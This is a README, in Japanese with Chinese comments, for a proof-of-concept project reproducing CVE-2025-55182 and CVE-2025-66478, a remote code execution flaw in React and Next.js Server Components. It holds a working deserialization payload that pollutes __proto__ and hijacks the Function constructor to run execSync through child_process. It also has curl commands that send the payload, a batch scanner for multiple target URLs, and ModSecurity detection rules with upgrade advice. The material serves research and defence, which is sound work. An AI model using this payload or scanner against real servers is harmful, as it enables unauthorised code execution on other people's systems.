
これは React2Shell (CVE-2025-55182) および Next.js RSC RCE (CVE-2025-66478) の脆弱性を再現するための最小限の MVP です。
このプロジェクトはセキュリティ研究および教育目的のみに使用してください。本番環境や許可のないシステムでは使用しないでください。
CVE-2025-55182 は React Server Components における深刻な脆弱性であり、以下に影響します:
攻撃者は特別に細工した multipart/form-data リクエストを利用して Flight Protocol の逆シリアル化の脆弱性を悪用し、リモートコード実行(RCE)を達成できます。
$@N 構文を使用して内部の Chunk オブジェクトを取得する$1:__proto__:then を通じて悪意のある then メソッドを注入する_formData.get を Function コンストラクタにハイジャックするnpm install
# 或
yarn install
# 或
pnpm install
npm run dev
サーバーは http://localhost:3000 で起動します。
提供されているテストスクリプトを使用します:
# 单个目标测试
./test-exploit.sh http://localhost:3000
# 或直接使用 curl
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit-payload.txt
脆弱性が存在する場合、レスポンスに uid= のような出力(id コマンドの実行結果)が表示されます。
.
├── app/
│ ├── actions.ts # Server Actions(漏洞触发点)
│ ├── page.tsx # 主页面
│ ├── layout.tsx # 布局
│ └── globals.css # 全局样式
├── package.json # 依赖配置(使用受影响版本)
├── next.config.js # Next.js 配置
├── test-exploit.sh # 单个目标漏洞测试脚本
├── scan-targets.sh # 批量扫描脚本
├── exploit-payload.txt # Exploit payload 文件
├── Cve-2025-55182-modsecurity-rules.conf # ModSecurity 防护规则
└── README.md # 本文件
単一の URL に脆弱性が存在するかテストします:
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000
特徴: レスポンスに uid= または gid= が含まれる場合、脆弱性が存在することを示します。
複数のターゲット URL をバッチスキャンします:
# 创建目标列表文件
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF
# 执行批量扫描
chmod +x scan-targets.sh
./scan-targets.sh targets.txt
スキャン結果は vulnerable_hosts.csv に保存されます。
{
"then": "$1:__proto__:then", // 劫持 then 方法
"status": "resolved_model", // 控制执行路径
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // 触发 Blob 反序列化
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // 劫持为 Function
}
}
}
npm install [email protected] [email protected] [email protected]
すぐにアップグレードできない場合は、ModSecurity ルールを導入して一時的に緩和できます。
# 1. 安装 mod_security
sudo apt-get install libapache2-mod-security2
# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/modsecurity/
# 3. 在 Apache 配置中引入规则
sudo vim /etc/apache2/mods-enabled/security2.conf
# 添加: Include /etc/modsecurity/modsecurity-rules.conf
# 4. 重启 Apache
sudo systemctl restart apache2
# 1. 安装 ModSecurity for Nginx
sudo apt-get install libnginx-mod-security
# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/nginx/modsec/
# 3. 在 Nginx 配置中启用
sudo vim /etc/nginx/nginx.conf
# 在 http 或 server 块中添加:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
# 4. 重启 Nginx
sudo systemctl restart nginx
ModSecurity ルールは以下の特徴をブロックします:
$@N, $BN)__proto__, constructor:constructor)process.mainModule.require, require('child_process'))execSync, exec)_response, _chunks, _formData, _prefix)Next-Action, RSC-Action-ID)⚠️ 注意: WAF ルールは一時的な緩和策に過ぎず、完全な保護を提供するものではありません。修正済みバージョンへのアップグレードが必要です。
アプリケーションが影響を受ける可能性がある場合:
test-exploit.sh スクリプトを使用してアプリケーションをテストするNext-Action リクエストを探すスクリプトを使用せずに curl で直接テストする場合:
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Request-Id: b5dce965" \
--data-binary @exploit-payload.txt
レスポンスに uid= または gid= が含まれる場合、脆弱性が存在することを示します。
このプロジェクトは教育目的のみに使用されます。本コードを使用する際は、関連する法律および規制を遵守してください。